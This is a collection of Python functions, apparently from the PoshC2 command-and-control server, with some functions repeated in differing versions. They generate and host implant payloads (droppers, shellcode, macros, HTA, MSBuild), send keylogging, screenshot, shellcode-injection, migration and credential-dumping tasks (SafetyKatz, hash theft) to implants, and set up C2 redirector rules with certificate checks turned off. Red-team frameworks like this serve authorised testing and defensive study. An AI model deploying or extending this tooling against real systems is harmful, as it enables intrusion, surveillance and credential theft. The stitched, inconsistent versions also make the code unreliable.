def do_beacon(user, command, randomuri): new_sleep = command.replace('beacon ', '').strip() if not validate_sleep_time(new_sleep): print_bad( "Invalid sleep command, please specify a time such as 50s, 10m or 1h" ) else: new_task(command, user, randomuri)
def do_set_defaultbeacon(user, command): new_sleep = command.replace("set-defaultbeacon ", "") new_sleep = new_sleep.replace("set-defaultbeacon", "") if not validate_sleep_time(new_sleep): print_bad("Invalid sleep command, please specify a time such as 50s, 10m or 1h") else: update_item("DefaultSleep", "C2Server", new_sleep) print_good("Updated set-defaultbeacon (Restart C2 Server): %s\r\n" % new_sleep) input("Press Enter to continue...") clear()
def newdb(db): print("Initializing new project folder and %s database" % db.value + Colours.GREEN) print("") directory = os.path.dirname(PoshProjectDirectory) if not os.path.exists(directory): os.makedirs(directory) if not os.path.exists("%s/downloads" % directory): os.makedirs("%s/downloads" % directory) if not os.path.exists("%s/reports" % directory): os.makedirs("%s/reports" % directory) if not os.path.exists("%s/payloads" % directory): os.makedirs("%s/payloads" % directory) initializedb() if not validate_sleep_time(DefaultSleep): print(Colours.RED) print("Invalid DefaultSleep in config, please specify a time such as 50s, 10m or 1h") print(Colours.GREEN) sys.exit(1) setupserver(PayloadCommsHost, gen_key().decode("utf-8"), DomainFrontHeader, DefaultSleep, KillDate, GET_404_Response, PoshProjectDirectory, QuickCommand, DownloadURI, "", "", "", URLS, SocksURLS, Insecure, UserAgent, Referrer, Pushover_APIToken, Pushover_APIUser, Slack_UserID, Slack_Channel, Slack_BotToken, EnableNotifications) rewriteFile = "%s/rewrite-rules.txt" % directory print("Creating Rewrite Rules in: " + rewriteFile) rewriteHeader = ["RewriteEngine On", "SSLProxyEngine On", "SSLProxyCheckPeerCN Off", "SSLProxyVerify none", "SSLProxyCheckPeerName off", "SSLProxyCheckPeerExpire off", "# Change IPs to point at C2 infrastructure below", "Define PoshC2 10.0.0.1", "Define SharpSocks 10.0.0.1", "# If running Apache 2.4.52 or Later", "Proxy100Continue Off"] rewriteFileContents = rewriteHeader + urlConfig.fetchRewriteRules() + urlConfig.fetchSocksRewriteRules() with open(rewriteFile, 'w') as outFile: for line in rewriteFileContents: outFile.write(line) outFile.write('\n') outFile.close() C2 = get_c2server_all() urlId = new_urldetails("default", C2.PayloadCommsHost, C2.DomainFrontHeader, "", "", "", "") newPayload = Payloads(C2.KillDate, C2.EncKey, C2.Insecure, C2.UserAgent, C2.Referrer, get_newimplanturl(), PayloadsDirectory, URLID=urlId) newPayload.CreateAll() create_self_signed_cert(PoshProjectDirectory) newPayload.WriteQuickstart(directory + '/quickstart.txt') # adding default hosted payloads QuickCommandURI = select_item("QuickCommand", "C2Server") insert_hosted_file("%ss/86/portal" % QuickCommandURI, "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory), "text/html", "Yes", "Yes") insert_hosted_file("%ss/64/portal" % QuickCommandURI, "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory), "text/html", "Yes", "Yes") insert_hosted_file("%sp/86/portal" % QuickCommandURI, "%sPosh_v4_x86_Shellcode.bin" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes") insert_hosted_file("%sp/64/portal" % QuickCommandURI, "%sPosh_v4_x64_Shellcode.bin" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes") insert_hosted_file("%s_ex86" % QuickCommandURI, "%sPosh_v4_dropper_x86.exe" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes") insert_hosted_file("%s_ex64" % QuickCommandURI, "%sPosh_v4_dropper_x64.exe" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes") insert_hosted_file("%s_bs" % QuickCommandURI, "%spayload.bat" % (PayloadsDirectory), "text/html", "No", "Yes") insert_hosted_file("%s_rp" % QuickCommandURI, "%spayload.txt" % (PayloadsDirectory), "text/html", "Yes", "Yes") insert_hosted_file("%s_rg" % QuickCommandURI, "%srg_sct.xml" % (PayloadsDirectory), "text/html", "No", "Yes") insert_hosted_file("%s_cs" % QuickCommandURI, "%scs_sct.xml" % (PayloadsDirectory), "text/html", "No", "Yes") insert_hosted_file("%s_py" % QuickCommandURI, "%saes.py" % (PayloadsDirectory), "text/html", "No", "Yes")
def handle_pbind_command(command, user, randomuri, implant_id): # convert randomuri to parent randomuri oldrandomuri = randomuri p = get_implantdetails(randomuri) newimplant_id = re.search(r'(?<=\s)\S*', p.Label).group() if newimplant_id is not None: randomuri = get_randomuri(newimplant_id) # alias mapping for alias in cs_alias: if alias[0] == command[:len(command.rstrip())]: command = alias[1] # alias replace for alias in cs_replace: if command.startswith(alias[0]): command = command.replace(alias[0], alias[1]) original_command = command command = command.strip() run_autoloads_sharp(command, randomuri, user, isPBind=True) if command.startswith("searchhistory"): searchterm = (command).replace("searchhistory ", "") with open('%s/.implant-history' % PoshProjectDirectory) as hisfile: for line in hisfile: if searchterm in line.lower(): print(Colours.GREEN + line.replace("+","")) elif command.startswith("searchhelp"): searchterm = (command).replace("searchhelp ", "") helpful = sharp_help.split('\n') for line in helpful: if searchterm in line.lower(): print(Colours.GREEN + line) elif command.startswith("upload-file"): source = "" destination = "" if command == "upload-file": style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.upload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*")) source = PayloadsDirectory + source except KeyboardInterrupt: return while not os.path.isfile(source): print("File does not exist: %s" % source) source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*")) source = PayloadsDirectory + source destination = session.prompt("Location to upload to: ") else: args = argp(command) source = args.source destination = args.destination try: destination = destination.replace("\\", "\\\\") print("") print("Uploading %s to %s" % (source, destination)) uploadcommand = f"upload-file {source} {destination}" new_task(f"pbind-command {uploadcommand}", user, randomuri) except Exception as e: print_bad("Error with source file: %s" % e) traceback.print_exc() elif command.startswith("unhide-implant"): unhide_implant(oldrandomuri) elif command.startswith("hide-implant"): kill_implant(oldrandomuri) elif command.startswith("inject-shellcode"): params = re.compile("inject-shellcode", re.IGNORECASE) params = params.sub("", command) style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Location of shellcode file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bin")) path = PayloadsDirectory + path except KeyboardInterrupt: return try: shellcodefile = load_file(path) if shellcodefile is not None: new_task("pbind-command run-exe Core.Program Core Inject-Shellcode %s%s #%s" % (base64.b64encode(shellcodefile).decode("utf-8"), params, os.path.basename(path)), user, randomuri) except Exception as e: print("Error loading file: %s" % e) elif command.startswith("migrate"): params = re.compile("migrate", re.IGNORECASE) params = params.sub("", command) migrate(randomuri, user, params) elif command == "kill-implant" or command == "exit": impid = get_implantdetails(randomuri) ri = input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid.ImplantID) if ri.lower() == "n": print("Implant not terminated") if ri == "" or ri.lower() == "y": new_task("pbind-kill", user, randomuri) kill_implant(oldrandomuri) elif command == "sharpsocks": from random import choice allchar = string.ascii_letters channel = "".join(choice(allchar) for x in range(25)) sharpkey = gen_key().decode("utf-8") sharpurls = get_sharpurls() sharpurls = sharpurls.split(",") sharpurl = select_item("HostnameIP", "C2Server") print("sharpsocks -c=%s -k=%s --verbose -l=%s\r\n" % (channel, sharpkey, SocksHost) + Colours.GREEN) ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ") if ri.lower() == "n": print("") if ri == "": new_task("pbind-command run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken" % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""), sharpurls[1].replace("\"", "")), user, randomuri) if ri.lower() == "y": new_task("pbind-command run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken" % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""), sharpurls[1].replace("\"", "")), user, randomuri) elif (command.startswith("stop-keystrokes")): new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri) update_label("", randomuri) elif (command.startswith("start-keystrokes")): check_module_loaded("Logger.exe", randomuri, user) new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri) update_label("KEYLOG", randomuri) elif (command.startswith("get-keystrokes")): new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri) elif (command.startswith("get-screenshotmulti")): pwrStatus = get_powerstatusbyrandomuri(randomuri) if (pwrStatus is not None and pwrStatus[7]): ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ") if ri.lower() == "n" or ri.lower() == "": return new_task(f"pbind-command {command}", user, randomuri) update_label("SCREENSHOT", randomuri) elif (command.startswith("get-screenshot")): pwrStatus = get_powerstatusbyrandomuri(randomuri) if (pwrStatus is not None and pwrStatus[7]): ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ") if ri.lower() == "n" or ri.lower() == "": return new_task(f"pbind-command {command}", user, randomuri) elif (command == "get-powerstatus"): getpowerstatus(randomuri) new_task("pbind-command run-dll PwrStatusTracker.PwrFrm PwrStatusTracker GetPowerStatusResult ", user, randomuri) elif (command == "getpowerstatus"): getpowerstatus(randomuri) new_task("pbind-command run-dll PwrStatusTracker.PwrFrm PwrStatusTracker GetPowerStatusResult ", user, randomuri) elif (command.startswith("stop-powerstatus")): new_task(f"pbind-command {command}", user, randomuri) update_label("", randomuri) elif (command.startswith("stoppowerstatus")): new_task(f"pbind-command {command}", user, randomuri) update_label("", randomuri) elif (command.startswith("pslo")): new_task(f"pbind-{command}", user, randomuri) elif (command.startswith("run-exe SharpWMI.Program")) and "execute" in command and "payload" not in command: style = Style.from_dict({'': '#80d130'}) session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Location of base64 vbs/js file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.b64")) path = PayloadsDirectory + path except KeyboardInterrupt: return if os.path.isfile(path): with open(path, "r") as p: payload = p.read() new_task("pbind-command %s payload=%s" % (command,payload), user, randomuri) else: print_bad("Could not find file") elif (command.startswith("get-hash")): check_module_loaded("InternalMonologue.exe", randomuri, user) new_task("pbind-command run-exe InternalMonologue.Program InternalMonologue", user, randomuri) elif (command.startswith("safetykatz")): new_task("pbind-command run-exe SafetyKatz.Program %s" % command, user, randomuri) elif command.startswith("loadmoduleforce"): params = re.compile("loadmoduleforce ", re.IGNORECASE) params = params.sub("", command) new_task("pbind-loadmodule %s" % params, user, randomuri) elif command.startswith("loadmodule"): params = re.compile("loadmodule ", re.IGNORECASE) params = params.sub("", command) new_task("pbind-loadmodule %s" % params, user, randomuri) elif command.startswith("listmodules"): modules = os.listdir("%s/Modules/" % PoshInstallDirectory) modules = sorted(modules, key=lambda s: s.lower()) print("") print("[+] Available modules:") print("") for mod in modules: if (".exe" in mod) or (".dll" in mod): print(mod) elif command.startswith("modulesloaded"): ml = get_implantdetails(randomuri) print(ml.ModsLoaded) new_task("pbind-command listmodules", user, randomuri) elif command == "help" or command == "?": print(sharp_help) elif command.startswith("beacon") or command.startswith("set-beacon") or command.startswith("setbeacon"): new_sleep = command.replace('set-beacon ', '') new_sleep = new_sleep.replace('setbeacon ', '') new_sleep = new_sleep.replace('beacon ', '').strip() if not validate_sleep_time(new_sleep): print(Colours.RED) print("Invalid sleep command, please specify a time such as 50s, 10m or 1h") print(Colours.GREEN) else: new_task(f"pbind-command {command}", user, randomuri) else: if command: new_task(f"pbind-command {original_command}", user, randomuri) return
def newdb(db): print("Initializing new project folder and %s database" % db + Colours.GREEN) print("") directory = os.path.dirname(PoshProjectDirectory) if not os.path.exists(directory): os.makedirs(directory) if not os.path.exists("%s/downloads" % directory): os.makedirs("%s/downloads" % directory) if not os.path.exists("%s/reports" % directory): os.makedirs("%s/reports" % directory) if not os.path.exists("%s/payloads" % directory): os.makedirs("%s/payloads" % directory) initializedb() if not validate_sleep_time(DefaultSleep): print(Colours.RED) print( "Invalid DefaultSleep in config, please specify a time such as 50s, 10m or 1h" ) print(Colours.GREEN) sys.exit(1) setupserver(PayloadCommsHost, gen_key().decode("utf-8"), DomainFrontHeader, DefaultSleep, KillDate, GET_404_Response, PoshProjectDirectory, PayloadCommsPort, QuickCommand, DownloadURI, "", "", "", Sounds, URLS, SocksURLS, Insecure, UserAgent, Referrer, Pushover_APIToken, Pushover_APIUser, EnableNotifications) rewriteFile = "%s/rewrite-rules.txt" % directory print("Creating Rewrite Rules in: " + rewriteFile) rewriteHeader = [ "RewriteEngine On", "SSLProxyEngine On", "SSLProxyCheckPeerCN Off", "SSLProxyVerify none", "SSLProxyCheckPeerName off", "SSLProxyCheckPeerExpire off", "# Change IPs to point at C2 infrastructure below", "Define PoshC2 10.0.0.1", "Define SharpSocks 10.0.0.1" ] rewriteFileContents = rewriteHeader + urlConfig.fetchRewriteRules( ) + urlConfig.fetchSocksRewriteRules() with open(rewriteFile, 'w') as outFile: for line in rewriteFileContents: outFile.write(line) outFile.write('\n') outFile.close() C2 = get_c2server_all() newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], C2[13], C2[11], "", "", C2[17], C2[18], C2[19], get_newimplanturl(), PayloadsDirectory) new_urldetails("default", C2[1], C2[3], "", "", "", "") newPayload.CreateRaw() newPayload.CreateDlls() newPayload.CreateShellcode() newPayload.CreateSCT() newPayload.CreateHTA() newPayload.CreateCS() newPayload.CreateMacro() newPayload.CreateEXE() newPayload.CreateMsbuild() newPayload.CreateDynamicCodeTemplate() create_self_signed_cert(PoshProjectDirectory) newPayload.CreatePython() newPayload.WriteQuickstart(directory + '/quickstart.txt')
def test_validate_sleep_time(): assert validate_sleep_time("5h") is not None assert validate_sleep_time("4m") is not None assert validate_sleep_time("3s ") is not None assert validate_sleep_time(" 5000h ") is not None assert validate_sleep_time(" 999 s ") is None assert validate_sleep_time("999 s") is None assert validate_sleep_time("999d") is None assert validate_sleep_time("s") is None assert validate_sleep_time("asdf") is None assert validate_sleep_time("") is None assert validate_sleep_time(None) is None
def main(args): httpd = ThreadedHTTPServer((BindIP, BindPort), MyHandler) try: if os.name == 'nt': os.system('cls') else: os.system('clear') except Exception: print("cls") print(chr(27) + "[2J") print(Colours.GREEN + logopic) print(Colours.END + "") if os.path.isfile(Database): print("Using existing database / project" + Colours.GREEN) C2 = get_c2server_all() if ((C2[1] == PayloadCommsHost) and (C2[3] == DomainFrontHeader)): qstart = "%squickstart.txt" % (PoshProjectDirectory) if os.path.exists(qstart): with open(qstart, 'r') as f: print(f.read()) else: print("Error: different IP so regenerating payloads") if os.path.exists("%spayloads_old" % PoshProjectDirectory): import shutil shutil.rmtree("%spayloads_old" % PoshProjectDirectory) os.rename(PayloadsDirectory, "%s:_old" % PoshProjectDirectory) os.makedirs(PayloadsDirectory) C2 = get_c2server_all() newPayload = Payloads(C2[5], C2[2], PayloadCommsHost, DomainFrontHeader, C2[8], C2[12], C2[13], C2[11], "", "", C2[19], C2[20], C2[21], get_newimplanturl(), PayloadsDirectory) new_urldetails("updated_host", PayloadCommsHost, C2[3], "", "", "", "") update_item("PayloadCommsHost", "C2Server", PayloadCommsHost) update_item("QuickCommand", "C2Server", QuickCommand) update_item("DomainFrontHeader", "C2Server", DomainFrontHeader) newPayload.CreateRaw() newPayload.CreateDlls() newPayload.CreateShellcode() newPayload.CreateSCT() newPayload.CreateHTA() newPayload.CreateCS() newPayload.CreateMacro() newPayload.CreateEXE() newPayload.CreateMsbuild() newPayload.CreatePython() newPayload.WriteQuickstart(PoshProjectDirectory + 'quickstart.txt') else: print("Initializing new project folder and database" + Colours.GREEN) print("") directory = os.path.dirname(PoshProjectDirectory) if not os.path.exists(PoshProjectDirectory): os.makedirs(PoshProjectDirectory) if not os.path.exists(DownloadsDirectory): os.makedirs(DownloadsDirectory) if not os.path.exists(ReportsDirectory): os.makedirs(ReportsDirectory) if not os.path.exists(PayloadsDirectory): os.makedirs(PayloadsDirectory) initializedb() if not validate_sleep_time(DefaultSleep): print(Colours.RED) print("Invalid DefaultSleep in config, please specify a time such as 50s, 10m or 1h") print(Colours.GREEN) sys.exit(1) setupserver(PayloadCommsHost, gen_key().decode("utf-8"), DomainFrontHeader, DefaultSleep, KillDate, HTTPResponse, PoshProjectDirectory, PayloadCommsPort, QuickCommand, DownloadURI, "", "", "", Sounds, ClockworkSMS_APIKEY, ClockworkSMS_MobileNumbers, URLS, SocksURLS, Insecure, UserAgent, Referrer, Pushover_APIToken, Pushover_APIUser, EnableNotifications) rewriteFile = "%s/rewrite-rules.txt" % directory print("Creating Rewrite Rules in: " + rewriteFile) print("") rewriteHeader = ["RewriteEngine On", "SSLProxyEngine On", "SSLProxyCheckPeerCN Off", "SSLProxyVerify none", "SSLProxyCheckPeerName off", "SSLProxyCheckPeerExpire off", "# Change IPs to point at C2 infrastructure below", "Define PoshC2 10.0.0.1", "Define SharpSocks 10.0.0.1"] rewriteFileContents = rewriteHeader + urlConfig.fetchRewriteRules() + urlConfig.fetchSocksRewriteRules() with open(rewriteFile, 'w') as outFile: for line in rewriteFileContents: outFile.write(line) outFile.write('\n') outFile.close() C2 = get_c2server_all() newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], C2[13], C2[11], "", "", C2[19], C2[20], C2[21], get_newimplanturl(), PayloadsDirectory) new_urldetails("default", C2[1], C2[3], "", "", "", "") newPayload.CreateRaw() newPayload.CreateDlls() newPayload.CreateShellcode() newPayload.CreateSCT() newPayload.CreateHTA() newPayload.CreateCS() newPayload.CreateMacro() newPayload.CreateEXE() newPayload.CreateMsbuild() create_self_signed_cert(PoshProjectDirectory) newPayload.CreatePython() newPayload.WriteQuickstart(directory + '/quickstart.txt') print("") print("CONNECT URL: " + select_item("PayloadCommsHost", "C2Server") + get_newimplanturl() + Colours.GREEN) print("WEBSERVER Log: %swebserver.log" % PoshProjectDirectory) global KEY KEY = get_baseenckey() print("") print(time.asctime() + " PoshC2 Server Started - %s:%s" % (BindIP, BindPort)) from datetime import date, datetime killdate = datetime.strptime(C2[5], '%d/%m/%Y').date() datedifference = number_of_days(date.today(), killdate) if datedifference < 8: print (Colours.RED+("\nKill Date is - %s - expires in %s days" % (C2[5],datedifference))) else: print (Colours.GREEN+("\nKill Date is - %s - expires in %s days" % (C2[5],datedifference))) print(Colours.END) protocol = urlparse(PayloadCommsHost).scheme if protocol == 'https': if (os.path.isfile("%sposh.crt" % PoshProjectDirectory)) and (os.path.isfile("%sposh.key" % PoshProjectDirectory)): try: httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLS) except Exception: httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLSv1) else: raise ValueError("Cannot find the certificate files") c2_message_thread = threading.Thread(target=log_c2_messages, daemon=True) c2_message_thread.start() try: httpd.serve_forever() except (KeyboardInterrupt, EOFError): httpd.server_close() print(time.asctime() + " PoshC2 Server Stopped - %s:%s" % (BindIP, BindPort)) sys.exit(0)